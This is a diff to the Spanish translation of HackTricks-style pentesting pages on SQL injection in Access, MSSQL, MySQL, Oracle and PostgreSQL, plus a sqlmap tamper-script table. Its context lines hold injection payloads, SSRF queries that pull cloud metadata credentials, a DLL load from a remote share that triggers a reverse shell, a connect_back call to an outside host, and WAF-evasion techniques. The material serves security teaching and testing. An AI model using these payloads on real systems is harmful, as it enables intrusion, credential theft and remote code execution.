+En resumen, la consulta utiliza una declaración "if-then" para activar un "200 OK" en caso de éxito o un "500 Internal Error" en caso contrario. Aprovechando el operador TOP 10, es posible seleccionar los primeros diez resultados. El uso posterior de LAST permite considerar solo la décima tupla. Con ese valor, utilizando el operador MID, es posible realizar una simple comparación de caracteres. Al cambiar adecuadamente el índice de MID y TOP, podemos volcar el contenido del campo "username" para todas las filas.
 
 ### Basado en Tiempo
 
-Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
+Consulta [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
 
 ### Otras funciones interesantes
 
@@ -132,7 +132,7 @@ Sin embargo, ten en cuenta que es muy típico encontrar inyecciones SQL donde **
 
 ### Ruta completa del directorio raíz web
 
-El conocimiento de la **ruta absoluta del directorio raíz web puede facilitar ataques posteriores**. Si los errores de la aplicación no están completamente ocultos, se puede descubrir la ruta del directorio al intentar seleccionar datos de una base de datos inexistente.
+El conocimiento de la **ruta absoluta del directorio raíz web puede facilitar ataques posteriores**. Si los errores de la aplicación no están completamente ocultos, se puede descubrir la ruta del directorio intentando seleccionar datos de una base de datos inexistente.
 
 `http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
 
@@ -156,7 +156,7 @@ El **nombre del archivo de base de datos (.mdb)** se puede inferir con la siguie
 
 Donde **name\[i] es un nombre de archivo .mdb** y **realTable es una tabla existente** dentro de la base de datos. Aunque MS Access siempre generará un mensaje de error, es posible distinguir entre un nombre de archivo inválido y un nombre de archivo .mdb válido.
 
-### Cracker de contraseña .mdb
+### Cracker de contraseñas .mdb
 
 [**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) es una utilidad gratuita que se puede utilizar para recuperar la contraseña principal de la base de datos de Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0.
 
diff --git a/src/pentesting-web/sql-injection/mssql-injection.md b/src/pentesting-web/sql-injection/mssql-injection.md
index ad09e739f..f041bd077 100644
--- a/src/pentesting-web/sql-injection/mssql-injection.md
+++ b/src/pentesting-web/sql-injection/mssql-injection.md
@@ -9,7 +9,7 @@ Es posible **enumerar usuarios de dominio a través de inyección SQL dentro de
 - **`SELECT DEFAULT_DOMAIN()`**: Obtener el nombre del dominio actual.
 - **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Si conoces el nombre del dominio (_DOMAIN_ en este ejemplo), esta función devolverá el **SID del usuario Administrador** en formato hexadecimal. Esto se verá como `0x01050000000[...]0000f401`, nota cómo los **últimos 4 bytes** son el número **500** en formato **big endian**, que es el **ID común del usuario administrador**.\
 Esta función te permitirá **conocer el ID del dominio** (todos los bytes excepto los últimos 4).
-- **`SUSER_SNAME(0x01050000000[...]0000e803)`**: Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (normalmente este es el ID del primer usuario regular creado). Luego puedes imaginar que puedes hacer un ataque de fuerza bruta a los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
+- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (normalmente este es el ID del primer usuario regular creado). Luego puedes imaginar que puedes hacer un ataque de fuerza bruta a los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
 ```python
 def get_sid(n):
 domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@@ -107,7 +107,7 @@ Obviamente, también podrías usar **`xp_cmdshell`** para **ejecutar** algo que
 
 ### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
 
-Crear una UDF CLR (Función Definida por el Usuario de Common Language Runtime), que es código escrito en cualquier lenguaje .NET y compilado en un DLL, para ser cargado dentro de MSSQL para ejecutar funciones personalizadas, es un proceso que requiere acceso `dbo`. Esto significa que generalmente es factible solo cuando la conexión a la base de datos se realiza como `sa` o con un rol de Administrador.
+Crear una UDF CLR (Función Definida por el Usuario en el Tiempo de Ejecución de Lenguaje Común), que es código escrito en cualquier lenguaje .NET y compilado en un DLL, para ser cargado dentro de MSSQL para ejecutar funciones personalizadas, es un proceso que requiere acceso `dbo`. Esto significa que generalmente es factible solo cuando la conexión a la base de datos se realiza como `sa` o con un rol de Administrador.
 
 Un proyecto de Visual Studio y las instrucciones de instalación se proporcionan en [este repositorio de Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar la carga del binario en MSSQL como una asamblea CLR, permitiendo así la ejecución de solicitudes HTTP GET desde dentro de MSSQL.
 
@@ -137,7 +137,7 @@ DECLARE @url varchar(max);
 SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
 SELECT dbo.http(@url);
 ```
-### **Explotación Rápida: Recuperando el Contenido Completo de una Tabla en una Sola Consulta**
+### **Explotación Rápida: Recuperando Todo el Contenido de una Tabla en una Sola Consulta**
 
 [Truco de aquí](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
 
@@ -203,7 +203,7 @@ https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
 According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
 
 ```sql
-SELECCIONAR 'a' SELECCIONAR 'b'
+SELECT 'a' SELECT 'b'
 ```
 
 So for example, multiple queries such as:
diff --git a/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md b/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
index b80c3a53e..c76551253 100644
--- a/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
+++ b/src/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
@@ -12,11 +12,11 @@ La variable global `secure_file_priv`, si no está configurada, por defecto es `
 
 Dado que `secure_file_priv` está deshabilitado (`""`), y suponiendo que se otorguen los permisos necesarios de archivo y `file_priv`, se pueden leer archivos fuera del directorio designado. Sin embargo, la capacidad de estas funciones para realizar llamadas de red depende en gran medida del sistema operativo. En sistemas Windows, las llamadas de red a rutas UNC son factibles debido a la comprensión de las convenciones de nomenclatura UNC por parte del sistema operativo, lo que puede llevar a la exfiltración de hashes NTLMv2.
 
-Este método SSRF está limitado al puerto TCP 445 y no permite la modificación del número de puerto, aunque se puede utilizar para acceder a recursos compartidos con plenos privilegios de lectura y, como se demostró en investigaciones anteriores, para robar hashes para una explotación posterior.
+Este método SSRF está limitado al puerto TCP 445 y no permite la modificación del número de puerto, aunque se puede utilizar para acceder a recursos compartidos con plenos privilegios de lectura y, como se demostró en investigaciones anteriores, para robar hashes para una mayor explotación.
 
 ### Ejecución Remota de Código (RCE) a través de Funciones Definidas por el Usuario (UDF)
 
-Las bases de datos MySQL ofrecen el uso de Funciones Definidas por el Usuario (UDF) desde archivos de bibliotecas externas. Si estas bibliotecas son accesibles dentro de directorios específicos o en el `$PATH` del sistema, se pueden invocar desde dentro de MySQL.
+Las bases de datos MySQL ofrecen el uso de Funciones Definidas por el Usuario (UDF) desde archivos de biblioteca externos. Si estas bibliotecas son accesibles dentro de directorios específicos o en el `$PATH` del sistema, se pueden invocar desde dentro de MySQL.
 
 Esta técnica permite la ejecución de solicitudes de red/HTTP a través de un UDF, siempre que se cumplan varias condiciones, incluyendo acceso de escritura a `@@plugin_dir`, `file_priv` configurado en `Y`, y `secure_file_priv` deshabilitado.
 
diff --git a/src/pentesting-web/sql-injection/oracle-injection.md b/src/pentesting-web/sql-injection/oracle-injection.md
index 9959141ba..11904e280 100644
--- a/src/pentesting-web/sql-injection/oracle-injection.md
+++ b/src/pentesting-web/sql-injection/oracle-injection.md
@@ -14,9 +14,9 @@ Ejecuté el comando docker con la bandera `--network="host"` para poder imitar O
 ```
 docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
 ```
-#### Paquetes de Oracle que soportan una especificación de URL o un nombre de host/número de puerto <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
+#### Paquetes de Oracle que soportan una especificación de URL o un Nombre de Host/Número de Puerto <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
 
-Para encontrar paquetes y funciones que soporten una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en línea de Oracle Database](https://docs.oracle.com/database/121/index.html). Específicamente,
+Para encontrar paquetes y funciones que soporten una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en Línea de Oracle Database](https://docs.oracle.com/database/121/index.html). Específicamente,
 ```
 site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
 ```
@@ -82,7 +82,7 @@ Un `ORA-29276: transfer timeout` muestra que el puerto está abierto pero no se
 
 **UTL_TCP**
 
-El paquete `UTL_TCP` y sus procedimientos y funciones permiten [comunicación basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una forma de acceder a la red o realizar solicitudes completas del lado del servidor, ya que todos los aspectos de una conexión TCP/IP pueden ser controlados.
+El paquete `UTL_TCP` y sus procedimientos y funciones permiten [comunicación basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una forma de acceder a la red o realizar solicitudes completas del lado del servidor, ya que se pueden controlar todos los aspectos de una conexión TCP/IP.
 
 El ejemplo [en el sitio de documentación de Oracle muestra cómo puedes usar este paquete para hacer una conexión TCP en bruto para obtener una página web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificarlo un poco más y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.
 ```
@@ -128,7 +128,7 @@ Interesantemente, debido a la capacidad de crear solicitudes TCP en bruto, este
 
 **UTL_HTTP y Solicitudes Web**
 
-Quizás la técnica más común y ampliamente documentada en cada tutorial de Inyección SQL Oracle Fuera de Banda es el paquete [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Este paquete se define en la documentación como - `El paquete UTL_HTTP realiza llamadas al Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puedes usarlo para acceder a datos en Internet a través de HTTP.`
+Quizás la técnica más común y ampliamente documentada en cada tutorial de Inyección SQL Oracle Fuera de Banda es el paquete [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Este paquete está definido por la documentación como - `El paquete UTL_HTTP realiza llamadas al Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puedes usarlo para acceder a datos en Internet a través de HTTP.`
 ```
 select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
 ```
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/README.md b/src/pentesting-web/sql-injection/postgresql-injection/README.md
index 761c668e0..00ab4b7d3 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/README.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/README.md
@@ -4,11 +4,11 @@
 
 ---
 
-**Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una inyección SQL encontrada en una base de datos de postgresql y complementar los trucos que puedes encontrar en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
+**Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una inyección SQL encontrada en una base de datos PostgreSQL y complementar los trucos que puedes encontrar en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
 
 ## Interacción de red - Escalación de privilegios, escáner de puertos, divulgación de respuesta de desafío NTLM y exfiltración
 
-El **módulo de PostgreSQL `dblink`** ofrece capacidades para conectarse a otras instancias de PostgreSQL y ejecutar conexiones TCP. Estas características, combinadas con la funcionalidad `COPY FROM`, permiten acciones como escalación de privilegios, escaneo de puertos y captura de respuesta de desafío NTLM. Para métodos detallados sobre cómo ejecutar estos ataques, consulta cómo [realizar estos ataques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
+El **módulo PostgreSQL `dblink`** ofrece capacidades para conectarse a otras instancias de PostgreSQL y ejecutar conexiones TCP. Estas características, combinadas con la funcionalidad `COPY FROM`, permiten acciones como escalación de privilegios, escaneo de puertos y captura de respuesta de desafío NTLM. Para métodos detallados sobre cómo ejecutar estos ataques, consulta cómo [realizar estos ataques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
 
 ### **Ejemplo de exfiltración usando dblink y objetos grandes**
 
@@ -27,11 +27,11 @@ Consulta cómo comprometer el host y escalar privilegios desde PostgreSQL en:
 ### Funciones de cadena de PostgreSQL
 
 Manipular cadenas podría ayudarte a **eludir WAFs u otras restricciones**.\
-[**En esta página**](https://www.postgresqltutorial.com/postgresql-string-functions/)**puedes encontrar algunas funciones de cadenas útiles.**
+[**En esta página** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**puedes encontrar algunas funciones de cadena útiles.**
 
 ### Consultas apiladas
 
-Recuerda que PostgreSQL admite consultas apiladas, pero varias aplicaciones generarán un error si se devuelven 2 respuestas cuando se espera solo 1. Pero, aún puedes abusar de las consultas apiladas a través de la inyección de tiempo:
+Recuerda que PostgreSQL admite consultas apiladas, pero varias aplicaciones generarán un error si se devuelven 2 respuestas cuando se espera solo 1. Sin embargo, aún puedes abusar de las consultas apiladas a través de inyección de tiempo:
 ```
 id=1; select pg_sleep(10);-- -
 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md b/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md
index 0b7bc7698..f478037c4 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md
@@ -28,7 +28,7 @@ Para almacenar datos binarios, primero se crea un LOID:
 SELECT lo_creat(-1);       -- Creates a new, empty large object
 SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID
 ```
-En situaciones que requieren un control preciso, como la explotación de una Blind SQL Injection, `lo_create` es preferido para especificar un LOID fijo.
+En situaciones que requieren un control preciso, como la explotación de una Blind SQL Injection, se prefiere `lo_create` para especificar un LOID fijo.
 
 Los fragmentos de datos se pueden insertar de la siguiente manera:
 ```sql
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md
index d7774d4b0..302f4b177 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md
@@ -8,7 +8,7 @@ Desde **PostgreSQL 9.1**, la instalación de módulos adicionales es simple. [La
 ```sql
 CREATE EXTENSION dblink;
 ```
-Una vez que tengas dblink cargado, podrías realizar algunos trucos interesantes:
+Una vez que tengas dblink cargado, podrías ser capaz de realizar algunos trucos interesantes:
 
 ### Escalación de Privilegios
 
@@ -26,7 +26,7 @@ Otra posible mala configuración consiste en algo como esto:
 host    all     all     127.0.0.1/32    trust
 ```
 Como permitirá que cualquier persona desde el localhost se conecte a la base de datos como cualquier usuario.\
-En este caso y si la función **`dblink`** está **funcionando**, podrías **escalar privilegios** al conectarte a la base de datos a través de una conexión ya establecida y acceder a datos a los que no deberías poder acceder:
+En este caso y si la función **`dblink`** está **funcionando**, podrías **escalar privilegios** conectándote a la base de datos a través de una conexión ya establecida y acceder a datos a los que no deberías poder acceder:
 ```sql
 SELECT * FROM dblink('host=127.0.0.1
 user=postgres
@@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
 ```
 ### Escaneo de Puertos
 
-Abusando de `dblink_connect` también podrías **buscar puertos abiertos**. Si esa **función no funciona, deberías intentar usar `dblink_connect_u()` ya que la documentación dice que `dblink_connect_u()` es idéntica a `dblink_connect()`, excepto que permitirá a los usuarios no superusuarios conectarse utilizando cualquier método de autenticación**.
+Abusando de `dblink_connect` también podrías **buscar puertos abiertos**. Si esa **función no funciona, deberías intentar usar `dblink_connect_u()` ya que la documentación dice que `dblink_connect_u()` es idéntica a `dblink_connect()`, excepto que permitirá a los no superusuarios conectarse usando cualquier método de autenticación**.
 ```sql
 SELECT * FROM dblink_connect('host=216.58.212.238
 port=443
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
index 1d4808794..2dcbaa993 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
@@ -1,4 +1,4 @@
-# RCE con extensiones de PostgreSQL
+# RCE con Extensiones de PostgreSQL
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
 
 <summary>Escribir archivo binario desde base64</summary>
 
-Para escribir un binario en un archivo en postgres, es posible que necesites usar base64, esto será útil para ese propósito:
+Para escribir un binario en un archivo en postgres, es posible que necesites usar base64, esto será útil para ese asunto:
 ```sql
 CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
 $$
@@ -250,7 +250,7 @@ int32 arg = PG_GETARG_INT32(0);
 PG_RETURN_INT32(arg + 1);
 }
 ```
-Nota cómo en este caso el **código malicioso está dentro de la función DllMain**. Esto significa que en este caso no es necesario ejecutar la función cargada en postgresql, solo **cargar la DLL** hará que se **ejecute** el reverse shell:
+Nota cómo en este caso el **código malicioso está dentro de la función DllMain**. Esto significa que en este caso no es necesario ejecutar la función cargada en postgresql, solo **cargar el DLL** hará que se **ejecute** el reverse shell:
 ```c
 CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
 ```
@@ -280,7 +280,7 @@ select connect_back('192.168.100.54', 1234);
 _Tenga en cuenta que no necesita agregar la extensión `.dll`, ya que la función de creación la añadirá._
 
 Para más información **lea la** [**publicación original aquí**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
-En esa publicación **este fue el** [**código utilizado para generar la extensión de postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender cómo compilar una extensión de postgres, lea cualquiera de las versiones anteriores_).\
+En esa publicación **este fue el** [**código utilizado para generar la extensión de postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender a compilar una extensión de postgres, lea cualquiera de las versiones anteriores_).\
 En la misma página se **proporcionó este exploit para automatizar** esta técnica:
 ```python
 #!/usr/bin/env python3
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
index fc49b9523..124261245 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
@@ -4,7 +4,7 @@
 
 ## Lenguajes de PostgreSQL
 
-La base de datos de PostgreSQL a la que tienes acceso puede tener diferentes **lenguajes de scripting instalados** que podrías abusar para **ejecutar código arbitrario**.
+La base de datos PostgreSQL a la que tienes acceso puede tener diferentes **lenguajes de scripting instalados** que podrías abusar para **ejecutar código arbitrario**.
 
 Puedes **hacerlos funcionar**:
 ```sql
@@ -31,7 +31,7 @@ La mayoría de los lenguajes de scripting que puedes instalar en PostgreSQL tien
 > ```
 
 > [!CAUTION]
-> Si no ves un lenguaje, podrías intentar cargarlo con (**necesitas ser superadmin**):
+> Si no ves un lenguaje, podrías intentar cargarlo con (**necesitas ser superadministrador**):
 >
 > ```
 > CREATE EXTENSION plpythonu;
diff --git a/src/pentesting-web/sql-injection/sqlmap.md b/src/pentesting-web/sql-injection/sqlmap.md
index 298dc3f73..ac4bde743 100644
--- a/src/pentesting-web/sql-injection/sqlmap.md
+++ b/src/pentesting-web/sql-injection/sqlmap.md
@@ -1,3 +1,5 @@
+{{#include ../../banners/hacktricks-training.md}}
+
 # Argumentos básicos para SQLmap
 
 ## Genérico
@@ -113,51 +115,51 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 ```
 | Tamper                       | Descripción                                                                                                                        |
 | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
-| apostrophemask.py            | Reemplaza el carácter de apóstrofe con su contraparte de ancho completo en UTF-8                                                  |
-| apostrophenullencode.py      | Reemplaza el carácter de apóstrofe con su contraparte ilegal de doble unicode                                                      |
-| appendnullbyte.py            | Agrega un carácter de byte NULL codificado al final de la carga útil                                                                |
-| base64encode.py              | Codifica en Base64 todos los caracteres en una carga útil dada                                                                     |
+| apostrophemask.py            | Reemplaza el carácter de apóstrofe con su contraparte de ancho completo UTF-8                                                      |
+| apostrophenullencode.py      | Reemplaza el carácter de apóstrofe con su contraparte de doble unicode ilegal                                                       |
+| appendnullbyte.py            | Agrega un carácter de byte NULL codificado al final de la carga útil                                                                 |
+| base64encode.py              | Codifica en Base64 todos los caracteres en una carga útil dada                                                                      |
 | between.py                   | Reemplaza el operador mayor que \('&gt;'\) con 'NOT BETWEEN 0 AND \#'                                                              |
 | bluecoat.py                  | Reemplaza el carácter de espacio después de la declaración SQL con un carácter en blanco aleatorio válido. Luego reemplaza el carácter = con el operador LIKE |
 | chardoubleencode.py          | Codifica doblemente todos los caracteres en una carga útil dada \(sin procesar los ya codificados\)                                |
-| commalesslimit.py            | Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M'                                                                     |
-| commalessmid.py              | Reemplaza instancias como 'MID\(A, B, C\)' con 'MID\(A FROM B FOR C\)'                                                            |
-| concat2concatws.py           | Reemplaza instancias como 'CONCAT\(A, B\)' con 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)'                                        |
-| charencode.py                | Codifica en URL todos los caracteres en una carga útil dada \(sin procesar los ya codificados\)                                    |
-| charunicodeencode.py         | Codifica en unicode-url los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "%u0022"         |
-| charunicodeescape.py         | Codifica en unicode-url los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "\u0022"         |
-| equaltolike.py               | Reemplaza todas las ocurrencias del operador igual \('='\) con el operador 'LIKE'                                                  |
-| escapequotes.py              | Escapa las comillas con barra invertida \(' y "\)                                                                                  |
-| greatest.py                  | Reemplaza el operador mayor que \('&gt;'\) con su contraparte 'GREATEST'                                                          |
-| halfversionedmorekeywords.py | Agrega un comentario de MySQL versionado antes de cada palabra clave                                                               |
-| ifnull2ifisnull.py           | Reemplaza instancias como 'IFNULL\(A, B\)' con 'IF\(ISNULL\(A\), B, A\)'                                                          |
-| modsecurityversioned.py      | Envuelve la consulta completa con un comentario versionado                                                                          |
-| modsecurityzeroversioned.py  | Envuelve la consulta completa con un comentario de versión cero                                                                     |
-| multiplespaces.py            | Agrega múltiples espacios alrededor de las palabras clave SQL                                                                       |
+| commalesslimit.py            | Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M'                                                                       |
+| commalessmid.py              | Reemplaza instancias como 'MID\(A, B, C\)' con 'MID\(A FROM B FOR C\)'                                                              |
+| concat2concatws.py           | Reemplaza instancias como 'CONCAT\(A, B\)' con 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)'                                          |
+| charencode.py                | Codifica en URL todos los caracteres en una carga útil dada \(sin procesar los ya codificados\)                                     |
+| charunicodeencode.py         | Codifica en URL unicode los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "%u0022"         |
+| charunicodeescape.py         | Codifica en URL unicode los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "\u0022"         |
+| equaltolike.py               | Reemplaza todas las ocurrencias del operador igual \('='\) con el operador 'LIKE'                                                   |
+| escapequotes.py              | Escapa las comillas con barra invertida \(' y "\)                                                                                   |
+| greatest.py                  | Reemplaza el operador mayor que \('&gt;'\) con su contraparte 'GREATEST'                                                            |
+| halfversionedmorekeywords.py | Agrega un comentario de MySQL versionado antes de cada palabra clave                                                                 |
+| ifnull2ifisnull.py           | Reemplaza instancias como 'IFNULL\(A, B\)' con 'IF\(ISNULL\(A\), B, A\)'                                                            |
+| modsecurityversioned.py      | Envuelve la consulta completa con un comentario versionado                                                                             |
+| modsecurityzeroversioned.py  | Envuelve la consulta completa con un comentario de versión cero                                                                       |
+| multiplespaces.py            | Agrega múltiples espacios alrededor de las palabras clave SQL                                                                         |
 | nonrecursivereplacement.py   | Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para el reemplazo \(e.g. .replace\("SELECT", ""\)\) filtros |
-| percentage.py                | Agrega un signo de porcentaje \('%'\) delante de cada carácter                                                                     |
-| overlongutf8.py              | Convierte todos los caracteres en una carga útil dada \(sin procesar los ya codificados\)                                         |
-| randomcase.py                | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio                                                            |
-| randomcomments.py            | Agrega comentarios aleatorios a las palabras clave SQL                                                                              |
-| securesphere.py              | Agrega una cadena especialmente elaborada                                                                                            |
-| sp_password.py               | Agrega 'sp_password' al final de la carga útil para ofuscación automática de los registros de DBMS                                 |
-| space2comment.py             | Reemplaza el carácter de espacio \(' '\) con comentarios                                                                            |
+| percentage.py                | Agrega un signo de porcentaje \('%'\) delante de cada carácter                                                                       |
+| overlongutf8.py              | Convierte todos los caracteres en una carga útil dada \(sin procesar los ya codificados\)                                          |
+| randomcase.py                | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio                                                             |
+| randomcomments.py            | Agrega comentarios aleatorios a las palabras clave SQL                                                                                |
+| securesphere.py              | Agrega una cadena especialmente elaborada                                                                                             |
+| sp_password.py               | Agrega 'sp_password' al final de la carga útil para ofuscación automática de los registros de DBMS                                   |
+| space2comment.py             | Reemplaza el carácter de espacio \(' '\) con comentarios                                                                             |
 | space2dash.py                | Reemplaza el carácter de espacio \(' '\) con un comentario de guion \('--'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
 | space2hash.py                | Reemplaza el carácter de espacio \(' '\) con un carácter de libra \('\#'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
 | space2morehash.py            | Reemplaza el carácter de espacio \(' '\) con un carácter de libra \('\#'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
-| space2mssqlblank.py          | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos        |
-| space2mssqlhash.py           | Reemplaza el carácter de espacio \(' '\) con un carácter de libra \('\#'\) seguido de una nueva línea \('\n'\)                     |
-| space2mysqlblank.py          | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos        |
-| space2mysqldash.py           | Reemplaza el carácter de espacio \(' '\) con un comentario de guion \('--'\) seguido de una nueva línea \('\n'\)                    |
-| space2plus.py                | Reemplaza el carácter de espacio \(' '\) con un más \('+'\)                                                                         |
-| space2randomblank.py         | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos        |
+| space2mssqlblank.py          | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos         |
+| space2mssqlhash.py           | Reemplaza el carácter de espacio \(' '\) con un carácter de libra \('\#'\) seguido de una nueva línea \('\n'\)                       |
+| space2mysqlblank.py          | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos         |
+| space2mysqldash.py           | Reemplaza el carácter de espacio \(' '\) con un comentario de guion \('--'\) seguido de una nueva línea \('\n'\)                     |
+| space2plus.py                | Reemplaza el carácter de espacio \(' '\) con un más \('+'\)                                                                          |
+| space2randomblank.py         | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos         |
 | symboliclogical.py           | Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas \(&& y                                                    |
-| unionalltounion.py           | Reemplaza UNION ALL SELECT con UNION SELECT                                                                                        |
+| unionalltounion.py           | Reemplaza UNION ALL SELECT con UNION SELECT                                                                                         |
